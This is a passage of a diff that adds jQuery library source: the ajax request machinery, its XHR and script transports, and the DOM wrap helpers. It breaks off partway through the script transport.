ajaxSettings and settings fields. + // If target is omitted, writes into ajaxSettings. + ajaxSetup: function( target, settings ) { + return settings ? + + // Building a settings object + ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) : + + // Extending ajaxSettings + ajaxExtend( jQuery.ajaxSettings, target ); + }, + + ajaxPrefilter: addToPrefiltersOrTransports( prefilters ), + ajaxTransport: addToPrefiltersOrTransports( transports ), + + // Main method + ajax: function( url, options ) { + + // If url is an object, simulate pre-1.5 signature + if ( typeof url === "object" ) { + options = url; + url = undefined; + } + + // Force options to be an object + options = options || {}; + + var transport, + + // URL without anti-cache param + cacheURL, + + // Response headers + responseHeadersString, + responseHeaders, + + // timeout handle + timeoutTimer, + + // Url cleanup var + urlAnchor, + + // Request state (becomes false upon send and true upon completion) + completed, + + // To know if global events are to be dispatched + fireGlobals, + + // Loop variable + i, + + // uncached part of the url + uncached, + + // Create the final options object + s = jQuery.ajaxSetup( {}, options ), + + // Callbacks context + callbackContext = s.context || s, + + // Context for global events is callbackContext if it is a DOM node or jQuery collection + globalEventContext = s.context && + ( callbackContext.nodeType || callbackContext.jquery ) ? + jQuery( callbackContext ) : + jQuery.event, + + // Deferreds + deferred = jQuery.Deferred(), + completeDeferred = jQuery.Callbacks( "once memory" ), + + // Status-dependent callbacks + statusCode = s.statusCode || {}, + + // Headers (they are sent all at once) + requestHeaders = {}, + requestHeadersNames = {}, + + // Default abort message + strAbort = "canceled", + + // Fake xhr + jqXHR = { + readyState: 0, + + // Builds headers hashtable if needed + getResponseHeader: function( key ) { + var match; + if ( completed ) { + if ( !responseHeaders ) { + responseHeaders = {}; + while ( ( match = rheaders.exec( responseHeadersString ) ) ) { + responseHeaders[ match[ 1 ].toLowerCase() + " " ] = + ( responseHeaders[ match[ 1 ].toLowerCase() + " " ] || [] ) + .concat( match[ 2 ] ); + } + } + match = responseHeaders[ key.toLowerCase() + " " ]; + } + return match == null ? null : match.join( ", " ); + }, + + // Raw string + getAllResponseHeaders: function() { + return completed ? responseHeadersString : null; + }, + + // Caches the header + setRequestHeader: function( name, value ) { + if ( completed == null ) { + name = requestHeadersNames[ name.toLowerCase() ] = + requestHeadersNames[ name.toLowerCase() ] || name; + requestHeaders[ name ] = value; + } + return this; + }, + + // Overrides response content-type header + overrideMimeType: function( type ) { + if ( completed == null ) { + s.mimeType = type; + } + return this; + }, + + // Status-dependent callbacks + statusCode: function( map ) { + var code; + if ( map ) { + if ( completed ) { + + // Execute the appropriate callbacks + jqXHR.always( map[ jqXHR.status ] ); + } else { + + // Lazy-add the new callbacks in a way that preserves old ones + for ( code in map ) { + statusCode[ code ] = [ statusCode[ code ], map[ code ] ]; + } + } + } + return this; + }, + + // Cancel the request + abort: function( statusText ) { + var finalText = statusText || strAbort; + if ( transport ) { + transport.abort( finalText ); + } + done( 0, finalText ); + return this; + } + }; + + // Attach deferreds + deferred.promise( jqXHR ); + + // Add protocol if not provided (prefilters might expect it) + // Handle falsy url in the settings object (trac-10093: consistency with old signature) + // We also use the url parameter if available + s.url = ( ( url || s.url || location.href ) + "" ) + .replace( rprotocol, location.protocol + "//" ); + + // Alias method option to type as per ticket trac-12004 + s.type = options.method || options.type || s.method || s.type; + + // Extract dataTypes list + s.dataTypes = ( s.dataType || "*" ).toLowerCase().match( rnothtmlwhite ) || [ "" ]; + + // A cross-domain request is in order when the origin doesn't match the current origin. + if ( s.crossDomain == null ) { + urlAnchor = document.createElement( "a" ); + + // Support: IE <=8 - 11, Edge 12 - 15 + // IE throws exception on accessing the href property if url is malformed, + // e.g. http://example.com:80x/ + try { + urlAnchor.href = s.url; + + // Support: IE <=8 - 11 only + // Anchor's host property isn't correctly set when s.url is relative + urlAnchor.href = urlAnchor.href; + s.crossDomain = originAnchor.protocol + "//" + originAnchor.host !== + urlAnchor.protocol + "//" + urlAnchor.host; + } catch ( e ) { + + // If there is an error parsing the URL, assume it is crossDomain, + // it can be rejected by the transport if it is invalid + s.crossDomain = true; + } + } + + // Convert data if not already a string + if ( s.data && s.processData && typeof s.data !== "string" ) { + s.data = jQuery.param( s.data, s.traditional ); + } + + // Apply prefilters + inspectPrefiltersOrTransports( prefilters, s, options, jqXHR ); + + // If request was aborted inside a prefilter, stop there + if ( completed ) { + return jqXHR; + } + + // We can fire global events as of now if asked to + // Don't fire events if jQuery.event is undefined in an AMD-usage scenario (trac-15118) + fireGlobals = jQuery.event && s.global; + + // Watch for a new set of requests + if ( fireGlobals && jQuery.active++ === 0 ) { + jQuery.event.trigger( "ajaxStart" ); + } + + // Uppercase the type + s.type = s.type.toUpperCase(); + + // Determine if request has content + s.hasContent = !rnoContent.test( s.type ); + + // Save the URL in case we're toying with the If-Modified-Since + // and/or If-None-Match header later on + // Remove hash to simplify url manipulation + cacheURL = s.url.replace( rhash, "" ); + + // More options handling for requests with no content + if ( !s.hasContent ) { + + // Remember the hash so we can put it back + uncached = s.url.slice( cacheURL.length ); + + // If data is available and should be processed, append data to url + if ( s.data && ( s.processData || typeof s.data === "string" ) ) { + cacheURL += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data; + + // trac-9682: remove data so that it's not used in an eventual retry + delete s.data; + } + + // Add or update anti-cache param if needed + if ( s.cache === false ) { + cacheURL = cacheURL.replace( rantiCache, "$1" ); + uncached = ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + ( nonce.guid++ ) + + uncached; + } + + // Put hash and anti-cache on the URL that will be requested (gh-1732) + s.url = cacheURL + uncached; + + // Change '%20' to '+' if this is encoded form body content (gh-2658) + } else if ( s.data && s.processData && + ( s.contentType || "" ).indexOf( "application/x-www-form-urlencoded" ) === 0 ) { + s.data = s.data.replace( r20, "+" ); + } + + // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. + if ( s.ifModified ) { + if ( jQuery.lastModified[ cacheURL ] ) { + jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] ); + } + if ( jQuery.etag[ cacheURL ] ) { + jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] ); + } + } + + // Set the correct header, if data is being sent + if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) { + jqXHR.setRequestHeader( "Content-Type", s.contentType ); + } + + // Set the Accepts header for the server, depending on the dataType + jqXHR.setRequestHeader( + "Accept", + s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ? + s.accepts[ s.dataTypes[ 0 ] ] + + ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) : + s.accepts[ "*" ] + ); + + // Check for headers option + for ( i in s.headers ) { + jqXHR.setRequestHeader( i, s.headers[ i ] ); + } + + // Allow custom headers/mimetypes and early abort + if ( s.beforeSend && + ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || completed ) ) { + + // Abort if not done already and return + return jqXHR.abort(); + } + + // Aborting is no longer a cancellation + strAbort = "abort"; + + // Install callbacks on deferreds + completeDeferred.add( s.complete ); + jqXHR.done( s.success ); + jqXHR.fail( s.error ); + + // Get transport + transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR ); + + // If no transport, we auto-abort + if ( !transport ) { + done( -1, "No Transport" ); + } else { + jqXHR.readyState = 1; + + // Send global event + if ( fireGlobals ) { + globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] ); + } + + // If request was aborted inside ajaxSend, stop there + if ( completed ) { + return jqXHR; + } + + // Timeout + if ( s.async && s.timeout > 0 ) { + timeoutTimer = window.setTimeout( function() { + jqXHR.abort( "timeout" ); + }, s.timeout ); + } + + try { + completed = false; + transport.send( requestHeaders, done ); + } catch ( e ) { + + // Rethrow post-completion exceptions + if ( completed ) { + throw e; + } + + // Propagate others as results + done( -1, e ); + } + } + + // Callback for when everything is done + function done( status, nativeStatusText, responses, headers ) { + var isSuccess, success, error, response, modified, + statusText = nativeStatusText; + + // Ignore repeat invocations + if ( completed ) { + return; + } + + completed = true; + + // Clear timeout if it exists + if ( timeoutTimer ) { + window.clearTimeout( timeoutTimer ); + } + + // Dereference transport for early garbage collection + // (no matter how long the jqXHR object will be used) + transport = undefined; + + // Cache response headers + responseHeadersString = headers || ""; + + // Set readyState + jqXHR.readyState = status > 0 ? 4 : 0; + + // Determine if successful + isSuccess = status >= 200 && status < 300 || status === 304; + + // Get response data + if ( responses ) { + response = ajaxHandleResponses( s, jqXHR, responses ); + } + + // Use a noop converter for missing script but not if jsonp + if ( !isSuccess && + jQuery.inArray( "script", s.dataTypes ) > -1 && + jQuery.inArray( "json", s.dataTypes ) < 0 ) { + s.converters[ "text script" ] = function() {}; + } + + // Convert no matter what (that way responseXXX fields are always set) + response = ajaxConvert( s, response, jqXHR, isSuccess ); + + // If successful, handle type chaining + if ( isSuccess ) { + + // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. + if ( s.ifModified ) { + modified = jqXHR.getResponseHeader( "Last-Modified" ); + if ( modified ) { + jQuery.lastModified[ cacheURL ] = modified; + } + modified = jqXHR.getResponseHeader( "etag" ); + if ( modified ) { + jQuery.etag[ cacheURL ] = modified; + } + } + + // if no content + if ( status === 204 || s.type === "HEAD" ) { + statusText = "nocontent"; + + // if not modified + } else if ( status === 304 ) { + statusText = "notmodified"; + + // If we have data, let's convert it + } else { + statusText = response.state; + success = response.data; + error = response.error; + isSuccess = !error; + } + } else { + + // Extract error from statusText and normalize for non-aborts + error = statusText; + if ( status || !statusText ) { + statusText = "error"; + if ( status < 0 ) { + status = 0; + } + } + } + + // Set data for the fake xhr object + jqXHR.status = status; + jqXHR.statusText = ( nativeStatusText || statusText ) + ""; + + // Success/Error + if ( isSuccess ) { + deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] ); + } else { + deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] ); + } + + // Status-dependent callbacks + jqXHR.statusCode( statusCode ); + statusCode = undefined; + + if ( fireGlobals ) { + globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError", + [ jqXHR, s, isSuccess ? success : error ] ); + } + + // Complete + completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] ); + + if ( fireGlobals ) { + globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] ); + + // Handle the global AJAX counter + if ( !( --jQuery.active ) ) { + jQuery.event.trigger( "ajaxStop" ); + } + } + } + + return jqXHR; + }, + + getJSON: function( url, data, callback ) { + return jQuery.get( url, data, callback, "json" ); + }, + + getScript: function( url, callback ) { + return jQuery.get( url, undefined, callback, "script" ); + } +} ); + +jQuery.each( [ "get", "post" ], function( _i, method ) { + jQuery[ method ] = function( url, data, callback, type ) { + + // Shift arguments if data argument was omitted + if ( isFunction( data ) ) { + type = type || callback; + callback = data; + data = undefined; + } + + // The url can be an options object (which then must have .url) + return jQuery.ajax( jQuery.extend( { + url: url, + type: method, + dataType: type, + data: data, + success: callback + }, jQuery.isPlainObject( url ) && url ) ); + }; +} ); + +jQuery.ajaxPrefilter( function( s ) { + var i; + for ( i in s.headers ) { + if ( i.toLowerCase() === "content-type" ) { + s.contentType = s.headers[ i ] || ""; + } + } +} ); + + +jQuery._evalUrl = function( url, options, doc ) { + return jQuery.ajax( { + url: url, + + // Make this explicit, since user can override this through ajaxSetup (trac-11264) + type: "GET", + dataType: "script", + cache: true, + async: false, + global: false, + + // Only evaluate the response if it is successful (gh-4126) + // dataFilter is not invoked for failure responses, so using it instead + // of the default converter is kludgy but it works. + converters: { + "text script": function() {} + }, + dataFilter: function( response ) { + jQuery.globalEval( response, options, doc ); + } + } ); +}; + + +jQuery.fn.extend( { + wrapAll: function( html ) { + var wrap; + + if ( this[ 0 ] ) { + if ( isFunction( html ) ) { + html = html.call( this[ 0 ] ); + } + + // The elements to wrap the target around + wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true ); + + if ( this[ 0 ].parentNode ) { + wrap.insertBefore( this[ 0 ] ); + } + + wrap.map( function() { + var elem = this; + + while ( elem.firstElementChild ) { + elem = elem.firstElementChild; + } + + return elem; + } ).append( this ); + } + + return this; + }, + + wrapInner: function( html ) { + if ( isFunction( html ) ) { + return this.each( function( i ) { + jQuery( this ).wrapInner( html.call( this, i ) ); + } ); + } + + return this.each( function() { + var self = jQuery( this ), + contents = self.contents(); + + if ( contents.length ) { + contents.wrapAll( html ); + + } else { + self.append( html ); + } + } ); + }, + + wrap: function( html ) { + var htmlIsFunction = isFunction( html ); + + return this.each( function( i ) { + jQuery( this ).wrapAll( htmlIsFunction ? html.call( this, i ) : html ); + } ); + }, + + unwrap: function( selector ) { + this.parent( selector ).not( "body" ).each( function() { + jQuery( this ).replaceWith( this.childNodes ); + } ); + return this; + } +} ); + + +jQuery.expr.pseudos.hidden = function( elem ) { + return !jQuery.expr.pseudos.visible( elem ); +}; +jQuery.expr.pseudos.visible = function( elem ) { + return !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length ); +}; + + + + +jQuery.ajaxSettings.xhr = function() { + try { + return new window.XMLHttpRequest(); + } catch ( e ) {} +}; + +var xhrSuccessStatus = { + + // File protocol always yields status code 0, assume 200 + 0: 200, + + // Support: IE <=9 only + // trac-1450: sometimes IE returns 1223 when it should be 204 + 1223: 204 + }, + xhrSupported = jQuery.ajaxSettings.xhr(); + +support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported ); +support.ajax = xhrSupported = !!xhrSupported; + +jQuery.ajaxTransport( function( options ) { + var callback, errorCallback; + + // Cross domain only allowed if supported through XMLHttpRequest + if ( support.cors || xhrSupported && !options.crossDomain ) { + return { + send: function( headers, complete ) { + var i, + xhr = options.xhr(); + + xhr.open( + options.type, + options.url, + options.async, + options.username, + options.password + ); + + // Apply custom fields if provided + if ( options.xhrFields ) { + for ( i in options.xhrFields ) { + xhr[ i ] = options.xhrFields[ i ]; + } + } + + // Override mime type if needed + if ( options.mimeType && xhr.overrideMimeType ) { + xhr.overrideMimeType( options.mimeType ); + } + + // X-Requested-With header + // For cross-domain requests, seeing as conditions for a preflight are + // akin to a jigsaw puzzle, we simply never set it to be sure. + // (it can always be set on a per-request basis or even using ajaxSetup) + // For same-domain requests, won't change header if already provided. + if ( !options.crossDomain && !headers[ "X-Requested-With" ] ) { + headers[ "X-Requested-With" ] = "XMLHttpRequest"; + } + + // Set headers + for ( i in headers ) { + xhr.setRequestHeader( i, headers[ i ] ); + } + + // Callback + callback = function( type ) { + return function() { + if ( callback ) { + callback = errorCallback = xhr.onload = + xhr.onerror = xhr.onabort = xhr.ontimeout = + xhr.onreadystatechange = null; + + if ( type === "abort" ) { + xhr.abort(); + } else if ( type === "error" ) { + + // Support: IE <=9 only + // On a manual native abort, IE9 throws + // errors on any property access that is not readyState + if ( typeof xhr.status !== "number" ) { + complete( 0, "error" ); + } else { + complete( + + // File: protocol always yields status 0; see trac-8605, trac-14207 + xhr.status, + xhr.statusText + ); + } + } else { + complete( + xhrSuccessStatus[ xhr.status ] || xhr.status, + xhr.statusText, + + // Support: IE <=9 only + // IE9 has no XHR2 but throws on binary (trac-11426) + // For XHR2 non-text, let the caller handle it (gh-2498) + ( xhr.responseType || "text" ) !== "text" || + typeof xhr.responseText !== "string" ? + { binary: xhr.response } : + { text: xhr.responseText }, + xhr.getAllResponseHeaders() + ); + } + } + }; + }; + + // Listen to events + xhr.onload = callback(); + errorCallback = xhr.onerror = xhr.ontimeout = callback( "error" ); + + // Support: IE 9 only + // Use onreadystatechange to replace onabort + // to handle uncaught aborts + if ( xhr.onabort !== undefined ) { + xhr.onabort = errorCallback; + } else { + xhr.onreadystatechange = function() { + + // Check readyState before timeout as it changes + if ( xhr.readyState === 4 ) { + + // Allow onerror to be called first, + // but that will not handle a native abort + // Also, save errorCallback to a variable + // as xhr.onerror cannot be accessed + window.setTimeout( function() { + if ( callback ) { + errorCallback(); + } + } ); + } + }; + } + + // Create the abort callback + callback = callback( "abort" ); + + try { + + // Do send the request (this may raise an exception) + xhr.send( options.hasContent && options.data || null ); + } catch ( e ) { + + // trac-14683: Only rethrow if this hasn't been notified as an error yet + if ( callback ) { + throw e; + } + } + }, + + abort: function() { + if ( callback ) { + callback(); + } + } + }; + } +} ); + + + + +// Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432) +jQuery.ajaxPrefilter( function( s ) { + if ( s.crossDomain ) { + s.contents.script = false; + } +} ); + +// Install script dataType +jQuery.ajaxSetup( { + accepts: { + script: "text/javascript, application/javascript, " + + "application/ecmascript, application/x-ecmascript" + }, + contents: { + script: /\b(?:java|ecma)script\b/ + }, + converters: { + "text script": function( text ) { + jQuery.globalEval( text ); + return text; + } + } +} ); + +// Handle cache's special case and crossDomain +jQuery.ajaxPrefilter( "script", function( s ) { + if ( s.cache === undefined ) { + s.cache = false; + } + if ( s.crossDomain ) { + s.type = "GET"; + } +} ); + +// Bind script tag hack transport +jQuery.ajaxTransport( "script", function( s ) { + + // This transport only deals with cross domain or forced-by-attrs requests + if ( s.crossDomain || s.scriptAttrs ) { + var script, callback; + return { + send: function( _, complete ) { + script = jQuery( "